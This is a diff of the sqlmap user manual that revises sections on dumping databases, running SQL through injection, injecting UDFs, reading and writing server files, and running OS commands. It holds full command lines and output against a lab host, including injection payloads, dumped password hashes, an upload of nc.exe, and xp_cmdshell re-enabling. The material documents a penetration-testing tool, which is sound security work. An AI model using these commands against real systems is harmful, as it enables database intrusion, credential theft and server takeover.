    -Example on a Microsoft SQL Server 2000 Service Pack 0 target: - - -$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --dump-all \ - --exclude-sysdbs -v 0 - -Database: master -Table: spt_datatype_info_ext -[10 entries] -+----------------+-----------------+-----------+-----------+ -| AUTO_INCREMENT | CREATE_PARAMS | typename | user_type | -+----------------+-----------------+-----------+-----------+ -| 0 | length | char | 175 | -| 0 | precision,scale | numeric | 108 | -| 0 | max length | varbinary | 165 | -| 0 | precision,scale | decimal | 106 | -| 1 | precision | numeric | 108 | -| 0 | length | nchar | 239 | -| 0 | max length | nvarchar | 231 | -| 0 | length | binary | 173 | -| 0 | max length | varchar | 167 | -| 1 | precision | decimal | 106 | -+----------------+-----------------+-----------+-----------+ - -[...] - -Database: master -Table: users -[5 entries] -+----+----------------------------------------------+-------------------+ -| id | name | surname | -+----+----------------------------------------------+-------------------+ -| 4 | sqlmap/0.8 (http://sqlmap.sourceforge.net) | user agent header | -| 2 | fluffy | bunny | -| 1 | luther | blisset | -| 3 | wu | ming | -| 5 | NULL | nameisnull | -+----+----------------------------------------------+-------------------+ - -[...] - +You can also provide the --exclude-sysdbs switch to +exclude all system databases. In that case sqlmap will only dump entries +of users' databases tables.

    Note that on Microsoft SQL Server the master database is not @@ -3468,26 +2129,40 @@ considered a system database because some database administrators use it as a users' database. -Execute custom SQL statement +Search for columns, tables or databases + +

    +Switches: --search, -C, -T, -D + +

    +TODO + + +Run custom SQL statement

    Switches: --sql-query and --sql-shell

    -The SQL query and the SQL shell features makes the user able to execute -custom SQL statements on the web application's back-end database -management. +The SQL query and the SQL shell features allow to run arbitrary SQL +statements on the database management system. sqlmap automatically dissects the provided statement, determines which -technique to use to inject it and how to pack the SQL payload accordingly. - -If it is a SELECT statement, sqlmap will retrieve its output -through the blind SQL injection or UNION query SQL injection technique -depending on the user's options. Otherwise it will execute the query -through the stacked query SQL injection technique if the web application -supports multiple statements on the back-end database management system. +technique is appropriate to use to inject it and how to pack the SQL +payload accordingly.

    -Examples on a Microsoft SQL Server 2000 Service Pack 0 target: +If the query is a SELECT statement, sqlmap will retrieve its +output. +Otherwise it will execute the query through the stacked query SQL +injection technique if the web application supports multiple statements on +the back-end database management system. +Beware that some web application technologies do not support stacked +queries on specific database management systems. For instance, PHP does +not support stacked queries when the back-end DBMS is MySQL, but it does +support when the back-end DBMS is PostgreSQL. + +

    +Examples against a Microsoft SQL Server 2000 target: $ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query \ @@ -3517,335 +2192,52 @@ SELECT 'foo', 'bar': 'foo, bar'

    -As you can see from the last example, sqlmap splits provided query into two -different SELECT statements for it to be able to retrieve the -output even in case when using the blind SQL injection technique. -Otherwise, in UNION query SQL injection technique it only performs a single -HTTP request to get the user's query output: - - -$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query \ - "SELECT 'foo', 'bar'" -v 2 --union-use - -[...] -[hh:mm:03] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar'' -[hh:mm:03] [INFO] testing inband sql injection on parameter 'id' with NULL bruteforcing -technique -[hh:mm:03] [INFO] the target url could be affected by an inband sql injection vulnerability -[hh:mm:03] [INFO] confirming full inband sql injection on parameter 'id' -[hh:mm:03] [INFO] the target url is affected by an exploitable full inband sql injection -vulnerability -[hh:mm:03] [DEBUG] query: UNION ALL SELECT NULL, (CHAR(77)+CHAR(68)+CHAR(75)+CHAR(104)+ -CHAR(70)+CHAR(67))+ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS VARCHAR(8000)), (CHAR(32))) -+(CHAR(105)+CHAR(65)+CHAR(119)+CHAR(105)+CHAR(108)+CHAR(108))+ISNULL(CAST((CHAR(98)+CHAR(97)+ -CHAR(114)) AS VARCHAR(8000)), (CHAR(32)))+(CHAR(66)+CHAR(78)+CHAR(104)+CHAR(75)+CHAR(114)+ -CHAR(116)), NULL-- AND 8373=8373 -[hh:mm:03] [DEBUG] performed 3 queries in 0 seconds -SELECT 'foo', 'bar' [1]: -[*] foo, bar - +As you can see, sqlmap splits the provided query into two different +SELECT statements then retrieves the output for each separate +query.

    -If your SELECT statement contains a FROM clause, sqlmap -asks the user if such statement can return multiple entries. In that -case the tool knows how to unpack the query correctly to retrieve its -whole output, entry per entry, when going through blind SQL injection -technique. In provided example, UNION query SQL injection it retrieved -the whole output in a single response. +If the provided query is a SELECT statement and contains a +FROM clause, sqlmap will ask you if such statement can return +multiple entries. In that case the tool knows how to unpack the query +correctly to count the number of possible entries and retrieve its output, +entry per entry.

    -Example on a PostgreSQL 8.3.5 target: +The SQL shell option allows you to run your own SQL statement +interactively, like a SQL console connected to the database management +system. +This feature provides TAB completion and history support too. - -$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --sql-query \ - "SELECT usename FROM pg_user" -v 0 -[hh:mm:32] [INPUT] can the SQL query provided return multiple entries? [Y/n] y -[hh:mm:37] [INPUT] the SQL query provided can return up to 3 entries. How many entries -do you want to retrieve? -[a] All (default) -[#] Specific number -[q] Quit -Choice: 2 -SELECT usename FROM pg_user [2]: -[*] postgres -[*] testuser - +Brute force

    -As you can see from the last example, sqlmap counts the number of entries -for a given query and asks for number of entries to dump. -Otherwise, if the LIMIT is also specified, or similar clause, -sqlmap will not ask for anything. It will just unpack the query and return its -output, entry per entry, when going through blind SQL injection technique. -In a given example, sqlmap used UNION query SQL injection to retrieve the -whole output in a single response. +These options can be used to run brute force checks. + +Brute force tables names

    -Example on a MySQL 5.0.67 target: - - -$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --sql-query \ - "SELECT host, password FROM mysql.user LIMIT 1, 3" -v 2 - -[...] -back-end DBMS: MySQL >= 5.0.0 - -[hh:mm:22] [INFO] fetching SQL SELECT statement query output: 'SELECT host, password FROM -mysql.user LIMIT 1, 3' -[hh:mm:22] [INFO] the SQL query provided has more than a field. sqlmap will now unpack it -into distinct queries to be able to retrieve the output even if we are going blind -[hh:mm:22] [DEBUG] query: SELECT IFNULL(CAST(host AS CHAR(10000)), CHAR(32)) FROM -mysql.user LIMIT 1, 1 -[hh:mm:22] [INFO] retrieved: localhost -[hh:mm:22] [DEBUG] performed 69 queries in 0 seconds -[hh:mm:22] [DEBUG] query: SELECT IFNULL(CAST(password AS CHAR(10000)), CHAR(32)) FROM -mysql.user LIMIT 1, 1 -[hh:mm:22] [INFO] retrieved: *00E247AC5F9AF26AE0194B41E1E769DEE1429A29 -[hh:mm:24] [DEBUG] performed 293 queries in 2 seconds -[hh:mm:24] [DEBUG] query: SELECT IFNULL(CAST(host AS CHAR(10000)), CHAR(32)) FROM -mysql.user LIMIT 2, 1 -[hh:mm:24] [INFO] retrieved: localhost -[hh:mm:25] [DEBUG] performed 69 queries in 0 seconds -[hh:mm:25] [DEBUG] query: SELECT IFNULL(CAST(password AS CHAR(10000)), CHAR(32)) FROM -mysql.user LIMIT 2, 1 -[hh:mm:25] [INFO] retrieved: *00E247AC5F9AF26AE0194B41E1E769DEE1429A29 -[hh:mm:27] [DEBUG] performed 293 queries in 2 seconds -[hh:mm:27] [DEBUG] query: SELECT IFNULL(CAST(host AS CHAR(10000)), CHAR(32)) FROM -mysql.user LIMIT 3, 1 -[hh:mm:27] [INFO] retrieved: localhost -[hh:mm:28] [DEBUG] performed 69 queries in 0 seconds -[hh:mm:28] [DEBUG] query: SELECT IFNULL(CAST(password AS CHAR(10000)), CHAR(32)) -FROM mysql.user LIMIT 3, 1 -[hh:mm:28] [INFO] retrieved: -[hh:mm:28] [DEBUG] performed 6 queries in 0 seconds -SELECT host, password FROM mysql.user LIMIT 1, 3 [3]: -[*] localhost, *00E247AC5F9AF26AE0194B41E1E769DEE1429A29 -[*] localhost, *00E247AC5F9AF26AE0194B41E1E769DEE1429A29 -[*] localhost, - +Switches: --common-tables

    -The SQL shell option gives you an access to run your own SQL statement -interactively, like a SQL console connected to the back-end database -management system. -Note that this feature provides TAB completion and history support. +TODO + + +Brute force columns names

    -Example of history support on a PostgreSQL 8.3.5 target: - - -$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --sql-shell -v 0 - -sql> SELECT 'foo' -SELECT 'foo': 'foo' - -sql> [UP arrow key shows the just run SQL SELECT statement, DOWN arrow key cleans the shell] -sql> SELECT version() -SELECT version(): 'PostgreSQL 8.3.5 on i486-pc-linux-gnu, compiled by GCC gcc-4.3.real -(Ubuntu 4.3.2-1ubuntu11) 4.3.2' - -sql> exit - -$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --sql-shell -v 0 - -sql> [UP arrow key shows 'exit', then DOWN arrow key clean the shell] -sql> SELECT usename, passwd FROM pg_shadow ORDER BY usename -[hh:mm:45] [INPUT] does the SQL query that you provide might return multiple entries? [Y/n] y -[hh:mm:46] [INPUT] the SQL query that you provide can return up to 3 entries. How many entries -do you want to retrieve? -[a] All (default) -[#] Specific number -[q] Quit -Choice: 2 -SELECT usename, passwd FROM pg_shadow ORDER BY usename [3]: -[*] postgres, md5d7d880f96044b72d0bba108ace96d1e4 -[*] testuser, md599e5ea7a6f7c3269995cba3927fd0093 - +Switches: --common-columns

    -Example of TAB completion on a MySQL 5.0.67 target: - - -$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --sql-shell -v 0 - -sql> [TAB TAB] - LIMIT -(SELECT super_priv FROM mysql.user WHERE user=(SUBSTRING_INDEX(CURRENT_USER(), '@', 1)) -LIMIT 0, 1)='Y' -AND ORD(MID((%s), %d, 1)) > %d -CAST(%s AS CHAR(10000)) -COUNT(%s) -CURRENT_USER() -DATABASE() -IFNULL(%s, ' ') -LENGTH(%s) -LIMIT %d, %d -MID((%s), %d, %d) -ORDER BY %s ASC -SELECT %s FROM %s.%s -SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END) -SELECT column_name, column_type FROM information_schema.COLUMNS WHERE table_name='%s' AND -table_schema='%s' -SELECT grantee FROM information_schema.USER_PRIVILEGES -SELECT grantee, privilege_type FROM information_schema.USER_PRIVILEGES -SELECT schema_name FROM information_schema.SCHEMATA -SELECT table_schema, table_name FROM information_schema.TABLES -SELECT user, password FROM mysql.user -SLEEP(%d) -VERSION() -\s+LIMIT\s+([\d]+)\s*\,\s*([\d]+) -sql> SE[TAB] -sql> SELECT - - -

    -As you can see the TAB functionality shows the queries defined for the -back-end database management system in sqlmap XML queries file, but you -can run whatever SELECT statement you want. - -

    -Example of asterisk expansion on a MySQL 5.0.67 target: - - -$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --sql-shell \ - -v 2 - -[...] -[hh:mm:40] [INFO] calling MySQL shell. To quit type 'x' or 'q' and press ENTER -sql> SELECT * FROM test.users -[hh:mm:48] [INFO] fetching SQL SELECT query output: 'SELECT * FROM test.users' -[hh:mm:48] [INFO] you did not provide the fields in your query. sqlmap will retrieve the -column names itself. -[hh:mm:48] [INFO] fetching columns for table 'users' on database 'test' -[hh:mm:48] [INFO] fetching number of columns for table 'users' on database 'test' -[hh:mm:48] [DEBUG] query: SELECT IFNULL(CAST(COUNT(column_name) AS CHAR(10000)), CHAR(32)) -FROM information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114,115) AND -table_schema=CHAR(116,101,115,116) -[hh:mm:48] [INFO] retrieved: 3 -[hh:mm:48] [DEBUG] performed 13 queries in 0 seconds -[hh:mm:48] [DEBUG] query: SELECT IFNULL(CAST(column_name AS CHAR(10000)), CHAR(32)) FROM -information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114,115) AND -table_schema=CHAR(116,101,115,116) LIMIT 0, 1 -[hh:mm:48] [INFO] retrieved: id -[hh:mm:48] [DEBUG] performed 20 queries in 0 seconds -[hh:mm:48] [DEBUG] query: SELECT IFNULL(CAST(column_name AS CHAR(10000)), CHAR(32)) FROM -information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114,115) AND -table_schema=CHAR(116,101,115,116) LIMIT 1, 1 -[hh:mm:48] [INFO] retrieved: name -[hh:mm:48] [DEBUG] performed 34 queries in 0 seconds -[hh:mm:48] [DEBUG] query: SELECT IFNULL(CAST(column_name AS CHAR(10000)), CHAR(32)) FROM -information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114,115) AND -table_schema=CHAR(116,101,115,116) LIMIT 2, 1 -[hh:mm:48] [INFO] retrieved: surname -[hh:mm:48] [DEBUG] performed 55 queries in 0 seconds -[hh:mm:48] [INFO] the query with column names is: SELECT id, name, surname FROM test.users -[hh:mm:48] [INPUT] can the SQL query provided return multiple entries? [Y/n] y -[hh:mm:04] [DEBUG] query: SELECT IFNULL(CAST(COUNT(id) AS CHAR(10000)), CHAR(32)) FROM -test.users -[hh:mm:04] [INFO] retrieved: 5 -[hh:mm:04] [DEBUG] performed 13 queries in 0 seconds -[hh:mm:04] [INPUT] the SQL query that you provide can return up to 5 entries. How many -entries -do you want to retrieve? -[a] All (default) -[#] Specific number -[q] Quit -Choice: 3 -[hh:mm:09] [INFO] sqlmap is now going to retrieve the first 3 query output entries -[hh:mm:09] [DEBUG] query: SELECT IFNULL(CAST(id AS CHAR(10000)), CHAR(32)) FROM test.users -ORDER BY id ASC LIMIT 0, 1 -[hh:mm:09] [INFO] retrieved: 1 -[hh:mm:09] [DEBUG] performed 13 queries in 0 seconds -[hh:mm:09] [DEBUG] query: SELECT IFNULL(CAST(name AS CHAR(10000)), CHAR(32)) FROM test.users -ORDER BY id ASC LIMIT 0, 1 -[hh:mm:09] [INFO] retrieved: luther -[hh:mm:09] [DEBUG] performed 48 queries in 0 seconds -[hh:mm:09] [DEBUG] query: SELECT IFNULL(CAST(surname AS CHAR(10000)), CHAR(32)) FROM -test.users ORDER BY id ASC LIMIT 0, 1 -[hh:mm:09] [INFO] retrieved: blissett -[hh:mm:09] [DEBUG] performed 62 queries in 0 seconds -[hh:mm:09] [DEBUG] query: SELECT IFNULL(CAST(id AS CHAR(10000)), CHAR(32)) FROM test.users -ORDER BY id ASC LIMIT 1, 1 -[hh:mm:09] [INFO] retrieved: 2 -[hh:mm:09] [DEBUG] performed 13 queries in 0 seconds -[hh:mm:09] [DEBUG] query: SELECT IFNULL(CAST(name AS CHAR(10000)), CHAR(32)) FROM test.users -ORDER BY id ASC LIMIT 1, 1 -[hh:mm:09] [INFO] retrieved: fluffy -[hh:mm:09] [DEBUG] performed 48 queries in 0 seconds -[hh:mm:09] [DEBUG] query: SELECT IFNULL(CAST(surname AS CHAR(10000)), CHAR(32)) FROM -test.users ORDER BY id ASC LIMIT 1, 1 -[hh:mm:09] [INFO] retrieved: bunny -[hh:mm:09] [DEBUG] performed 41 queries in 0 seconds -[hh:mm:09] [DEBUG] query: SELECT IFNULL(CAST(id AS CHAR(10000)), CHAR(32)) FROM test.users -ORDER BY id ASC LIMIT 2, 1 -[hh:mm:09] [INFO] retrieved: 3 -[hh:mm:09] [DEBUG] performed 13 queries in 0 seconds -[hh:mm:09] [DEBUG] query: SELECT IFNULL(CAST(name AS CHAR(10000)), CHAR(32)) FROM test.users -ORDER BY id ASC LIMIT 2, 1 -[hh:mm:09] [INFO] retrieved: wu -[hh:mm:09] [DEBUG] performed 20 queries in 0 seconds -[hh:mm:09] [DEBUG] query: SELECT IFNULL(CAST(surname AS CHAR(10000)), CHAR(32)) FROM -test.users ORDER BY id ASC LIMIT 2, 1 -[hh:mm:09] [INFO] retrieved: ming -[hh:mm:10] [DEBUG] performed 34 queries in 0 seconds -SELECT * FROM test.users [3]: -[*] 1, luther, blissett -[*] 2, fluffy, bunny -[*] 3, wu, ming - - -

    -As you can see from the example, if the SELECT statement has -an asterisk instead of the column(s) name, sqlmap first retrieves all -column names of the current table, asks if the query can return multiple -entries and goes on. - -

    -Example of SQL statement other than SELECT on a PostgreSQL -8.3.5 target: - - -$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --sql-shell -v 1 - -[...] -back-end DBMS: PostgreSQL - -[10:hh:mm] [INFO] calling PostgreSQL shell. To quit type 'x' or 'q' and press ENTER -sql> SELECT COUNT(name) FROM users -[hh:mm:57] [INFO] fetching SQL SELECT statement query output: 'SELECT COUNT(name) FROM users' -[hh:mm:57] [INPUT] can the SQL query provided return multiple entries? [Y/n] n -[hh:mm:59] [INFO] retrieved: 4 -SELECT COUNT(name) FROM users: '4' - -sql> INSERT INTO users (id, name, surname) VALUES (5, 'from', 'sql shell'); -[hh:mm:35] [INFO] testing stacked queries support on parameter 'id' -[hh:mm:40] [INFO] the web application supports stacked queries on parameter 'id' -[hh:mm:40] [INFO] executing SQL data manipulation query: 'INSERT INTO users -(id, name, surname) VALUES (5, 'from', 'sql shell');' -[hh:mm:40] [INFO] done -sql> SELECT COUNT(name) FROM users -[hh:mm:51] [INFO] fetching SQL SELECT statement query output: 'SELECT COUNT(name) FROM users' -[hh:mm:51] [INPUT] can the SQL query provided return multiple entries? [Y/n] n -[hh:mm:53] [INFO] retrieved: 5 -SELECT COUNT(name) FROM users: '5' - - -

    -As you can see from the example, when the user provides a SQL statement -other than SELECT, sqlmap recognizes it, tests if the web -application supports stacked queries and in case it does, it executes -the provided SQL statement in a multiple statement mode. - -

    -Beware that some web application technologies do not support stacked -queries on specific database management systems. For instance, PHP does -not support stacked queries when the back-end DBMS is MySQL, but it does -support when the back-end DBMS is PostgreSQL. +TODO User-defined function injection +

    +These options can be used to create custom user-defined functions. + Inject custom user-defined functions (UDF)

    @@ -3862,7 +2254,12 @@ options, execute them. When you are finished using the injected UDFs, sqlmap can also remove them from the database for you.

    -Example on a PostgreSQL 8.4: +These techniques are detailed in the white paper +. + +

    +Example against a PostgreSQL target: $ python sqlmap.py -u http://192.168.136.131/sqlmap/pgsql/get_int8.4.php?id=1 --udf-inject -v 0 @@ -3887,7 +2284,7 @@ do you want to retrieve the return value of the UDF? [Y/n] return value: 'test' do you want to call this or another injected UDF? [Y/n] n -do you want to remove UDF 'sys_eval'? [Y/n] +do you want to remove UDF 'sys_eval'? [Y/n] y [12:00:10] [WARNING] remember that UDF shared object files saved on the file system can only be deleted manually @@ -3896,12 +2293,17 @@ be deleted manually If you want, you can specify the shared library local file system path via command line using --shared-lib option. +

    +This feature is available only when the database management system is +MySQL or PostgreSQL. + + File system access Read a file from the database server's file system

    -Switch: --read-file +Switch: --file-read

    It is possible to retrieve the content of files from the underlying file @@ -3909,82 +2311,21 @@ system when the back-end database management system is either MySQL, PostgreSQL or Microsoft SQL Server, and the session user has the needed privileges to abuse database specific functionalities and architectural weaknesses. -The file specified can be either a text or a binary file. sqlmap will -handle it automatically. +The file specified can be either a textual or a binary file. sqlmap will +handle it properly.

    These techniques are detailed in the white paper -.

    -Example on a PostgreSQL 8.3.5 target to retrieve a text file: - - -$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.aspx?id=1" \ - --read-file "C:\example.txt" -v 2 - -[...] -[hh:mm:53] [INFO] the back-end DBMS is PostgreSQL -web server operating system: Windows 2003 or 2008 -web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727 -back-end DBMS: PostgreSQL - -[hh:mm:53] [INFO] testing stacked queries support on parameter 'id' -[hh:mm:53] [INFO] detecting back-end DBMS version from its banner -[hh:mm:53] [DEBUG] query: COALESCE(CAST(SUBSTR((VERSION())::text, 12, 6) AS CHARACTER(10000)), -CHR(32)) -[hh:mm:53] [INFO] retrieved: 8.3.5, -[hh:mm:58] [DEBUG] performed 49 queries in 4 seconds -[hh:mm:58] [DEBUG] query: SELECT PG_SLEEP(5) -[hh:mm:03] [INFO] the web application supports stacked queries on parameter 'id' -[hh:mm:03] [INFO] fingerprinting the back-end DBMS operating system -[hh:mm:03] [DEBUG] query: DROP TABLE sqlmapfile -[hh:mm:03] [DEBUG] query: CREATE TABLE sqlmapfile(data character(500)) -[hh:mm:03] [DEBUG] query: INSERT INTO sqlmapfile(data) VALUES (VERSION()) -[hh:mm:03] [DEBUG] query: SELECT (CASE WHEN ((SELECT LENGTH(data) FROM sqlmapfile WHERE data -LIKE CHR(37)||CHR(32)||CHR(86)||CHR(105)||CHR(115)||CHR(117)||CHR(97)||CHR(108)||CHR(32)|| -CHR(67)||CHR(43)||CHR(43)||CHR(37))>0) THEN 1 ELSE 0 END) -[hh:mm:03] [INFO] retrieved: 1 -[hh:mm:03] [DEBUG] performed 5 queries in 0 seconds -[hh:mm:03] [INFO] the back-end DBMS operating system is Windows -[hh:mm:03] [DEBUG] cleaning up the database management system -[hh:mm:03] [DEBUG] removing support tables -[hh:mm:04] [DEBUG] query: DROP TABLE sqlmapfile -[hh:mm:04] [DEBUG] going to read the file with stacked query SQL injection technique -[hh:mm:04] [WARNING] binary file read on PostgreSQL is not yet supported, if the requested file -is binary, its content will not be retrieved -[hh:mm:04] [INFO] fetching file: 'C:/example.txt' -[hh:mm:04] [DEBUG] query: DROP TABLE sqlmapfile -[hh:mm:04] [DEBUG] query: CREATE TABLE sqlmapfile(data bytea) -[hh:mm:04] [DEBUG] loading the content of file 'C:/example.txt' into support table -[hh:mm:04] [DEBUG] query: COPY sqlmapfile(data) FROM 'C:/example.txt' -[hh:mm:04] [DEBUG] query: SELECT COALESCE(CAST(COUNT(data) AS CHARACTER(10000)), CHR(32)) FROM -sqlmapfile -[hh:mm:04] [INFO] retrieved: 1 -[hh:mm:04] [DEBUG] performed 6 queries in 0 seconds -[hh:mm:04] [DEBUG] query: SELECT COALESCE(CAST(ENCODE(data, CHR(98)||CHR(97)||CHR(115)||CHR(101) -||CHR(54)||CHR(52)) AS CHARACTER(10000)), CHR(32)) FROM sqlmapfile OFFSET 0 LIMIT 1 -[hh:mm:04] [INFO] retrieved: VGhpcyBpcyBhIHRleHQgZmlsZQ== -[hh:mm:22] [DEBUG] performed 203 queries in 18 seconds -[hh:mm:22] [DEBUG] cleaning up the database management system -[hh:mm:22] [DEBUG] removing support tables -[hh:mm:22] [DEBUG] query: DROP TABLE sqlmapfile -C:/example.txt file saved to: '/home/inquis/sqlmap/output/192.168.136.131/files/C__example.txt' - -[hh:mm:22] [INFO] Fetched data logged to text files under '/home/inquis/sqlmap/output/192.168.136.131' - -$ cat output/192.168.136.131/files/C__example.txt -This is a text file - - -

    -Example on a Microsoft SQL Server 2005 Service Pack 0 target to -retrieve a binary file: +Example against a Microsoft SQL Server 2005 target to retrieve a binary +file: $ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/iis/get_str2.asp?name=luther" \ - --read-file "C:\example.exe" --union-use -v 1 + --file-read "C:/example.exe" -v 1 [...] [hh:mm:49] [INFO] the back-end DBMS is Microsoft SQL Server @@ -3992,57 +2333,40 @@ web server operating system: Windows 2000 web application technology: ASP.NET, Microsoft IIS 6.0, ASP back-end DBMS: Microsoft SQL Server 2005 -[hh:mm:49] [INFO] testing inband sql injection on parameter 'name' with NULL bruteforcing -technique -[hh:mm:49] [INFO] confirming full inband sql injection on parameter 'name' -[hh:mm:49] [WARNING] the target url is not affected by an exploitable full inband sql -injection vulnerability -[hh:mm:49] [INFO] confirming partial (single entry) inband sql injection on parameter -'name' by appending a false condition after the parameter value -[hh:mm:49] [INFO] the target url is affected by an exploitable partial (single entry) -inband sql injection vulnerability -valid union: 'http://192.168.136.131/sqlmap/mssql/iis/get_str2.asp?name=luther' UNION -ALL SELECT NULL, NULL, NULL-- AND 'sjOfJ'='sjOfJ' - -[hh:mm:49] [INFO] testing stacked queries support on parameter 'name' -[hh:mm:54] [INFO] the web application supports stacked queries on parameter 'name' -[hh:mm:54] [INFO] fetching file: 'C:/example.exe' -[hh:mm:54] [INFO] the SQL query provided returns 3 entries -C:/example.exe file saved to: '/home/inquis/sqlmap/output/192.168.136.131/files/ -C__example.exe' - -[hh:mm:54] [INFO] Fetched data logged to text files under '/home/inquis/sqlmap/output/ -192.168.136.131' +[hh:mm:50] [INFO] fetching file: 'C:/example.exe' +[hh:mm:50] [INFO] the SQL query provided returns 3 entries +C:/example.exe file saved to: '/tmp/sqlmap/output/192.168.136.131/files/C__example.exe' +[...] $ ls -l output/192.168.136.131/files/C__example.exe --rw-r--r-- 1 inquis inquis 2560 2009-MM-DD hh:mm output/192.168.136.131/files/C__example.exe +-rw-r--r-- 1 inquis inquis 2560 2011-MM-DD hh:mm output/192.168.136.131/files/C__example.exe $ file output/192.168.136.131/files/C__example.exe -output/192.168.136.131/files/C__example.exe: PE32 executable for MS Windows (GUI) Intel 80386 32-bit +output/192.168.136.131/files/C__example.exe: PE32 executable for MS Windows (GUI) Intel +80386 32-bit -Write a local file on the database server's file system +Upload a file to the database server's file system

    -Switches: --write-file and --dest-file +Switches: --file-write and --file-dest

    -It is possible to upload a local file to the database server file system +It is possible to upload a local file to the database server's file system when the back-end database management system is either MySQL, PostgreSQL or Microsoft SQL Server, and the session user has the needed privileges to abuse database specific functionalities and architectural weaknesses. -The file specified can be either a text or a binary file. sqlmap will -handle it automatically. +The file specified can be either a textual or a binary file. sqlmap will +handle it properly.

    These techniques are detailed in the white paper -.

    -Example on a MySQL 5.0.67 target to upload a binary UPX-compressed -file: +Example against a MySQL target to upload a binary UPX-compressed file: $ file /tmp/nc.exe.packed @@ -4051,8 +2375,8 @@ $ file /tmp/nc.exe.packed $ ls -l /tmp/nc.exe.packed -rwxr-xr-x 1 inquis inquis 31744 2009-MM-DD hh:mm /tmp/nc.exe.packed -$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.aspx?id=1" --write-file \ - "/tmp/nc.exe.packed" --dest-file "C:\WINDOWS\Temp\nc.exe" -v 1 +$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.aspx?id=1" --file-write \ + "/tmp/nc.exe.packed" --file-dest "C:/WINDOWS/Temp/nc.exe" -v 1 [...] [hh:mm:29] [INFO] the back-end DBMS is MySQL @@ -4060,13 +2384,7 @@ web server operating system: Windows 2003 or 2008 web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727 back-end DBMS: MySQL >= 5.0.0 -[hh:mm:29] [INFO] testing stacked queries support on parameter 'id' -[hh:mm:29] [INFO] detecting back-end DBMS version from its banner -[hh:mm:29] [INFO] retrieved: 5.0.67 -[hh:mm:36] [INFO] the web application supports stacked queries on parameter 'id' -[hh:mm:36] [INFO] fingerprinting the back-end DBMS operating system -[hh:mm:36] [INFO] retrieved: C -[hh:mm:36] [INFO] the back-end DBMS operating system is Windows +[...] do you want confirmation that the file 'C:/WINDOWS/Temp/nc.exe' has been successfully written on the back-end DBMS file system? [Y/n] y [hh:mm:52] [INFO] retrieved: 31744 @@ -4074,508 +2392,165 @@ written on the back-end DBMS file system? [Y/n] y same size as the local file '/tmp/nc.exe.packed' -

    -Example on a PostgreSQL 8.4 target to upload a text file: - -$ python sqlmap.py -u http://192.168.136.131/sqlmap/pgsql/get_int8.4.php?id=1 \ - --write-file /etc/passwd --dest-file /tmp/writtenfrompgsql -v 1 +Operating system takeover -[...] -web application technology: PHP 5.2.6, Apache 2.2.9 -back-end DBMS: PostgreSQL - -[hh:mm:01] [INFO] testing stacked queries support on parameter 'id' -[hh:mm:01] [INFO] detecting back-end DBMS version from its banner -[hh:mm:01] [INFO] retrieved: 8.4.2 -[hh:mm:07] [INFO] the web application supports stacked queries on parameter 'id' -[hh:mm:07] [INFO] fingerprinting the back-end DBMS operating system -[hh:mm:07] [INFO] retrieved: 0 -[hh:mm:07] [INFO] retrieved: 0 -[hh:mm:07] [INFO] the back-end DBMS operating system is Linux -do you want confirmation that the file '/tmp/writtenfrompgsql' has been successfully -written on the back-end DBMS file system? [Y/n] -[hh:mm:14] [INFO] retrieved: 2264 -[hh:mm:14] [INFO] the file has been successfully written and its size is 2264 bytes, -same size as the local file '/etc/passwd' - - - -Operating system access - -Execute arbitrary operating system command +Run arbitrary operating system command

    Switches: --os-cmd and --os-shell

    -It is possible to execute arbitrary commands on the underlying operating -system when the back-end database management system is either MySQL, -PostgreSQL or Microsoft SQL Server, and the session user has the needed -privileges to abuse database specific functionalities and architectural -weaknesses. +It is possible to run arbitrary commands on the database server's +underlying operating system when the back-end database management +system is either MySQL, PostgreSQL or Microsoft SQL Server, and the +session user has the needed privileges to abuse database specific +functionalities and architectural weaknesses.

    On MySQL and PostgreSQL, sqlmap uploads (via the file upload functionality explained above) a shared library (binary file) containing two user-defined functions, sys_exec() and sys_eval(), then -it creates these two functions on the database and call one of them to -execute the specified command, depending on the user's choice to display -the standard output or not. -On Microsoft SQL Server, sqlmap abuses the xp_cmshell stored -procedure: if it's disabled, sqlmap re-enables it; if it does not exist, -sqlmap creates it from scratch. +it creates these two functions on the database and calls one of them to +execute the specified command, depending on user's choice to display the +standard output or not. +On Microsoft SQL Server, sqlmap abuses the xp_cmdshell stored +procedure: if it is disabled (by default on Microsoft SQL Server >= 2005), +sqlmap re-enables it; if it does not exist, sqlmap creates it from +scratch.

    -If the user wants to retrieve the command standard output, sqlmap will use -one of the enumeration SQL injection techniques (blind or inband) to -retrieve it or, in case of stacked query SQL injection technique, -sqlmap will execute the command without returning anything to the user. +When the user requests the standard output, sqlmap uses one of the +enumeration SQL injection techniques (blind, inband or error-based) to +retrieve it. Vice versa, if the standard output is not required, stacked +query SQL injection technique is used to execute the command.

    These techniques are detailed in the white paper -.

    -It is possible to specify a single command to be executed with the ---os-cmd option. - -

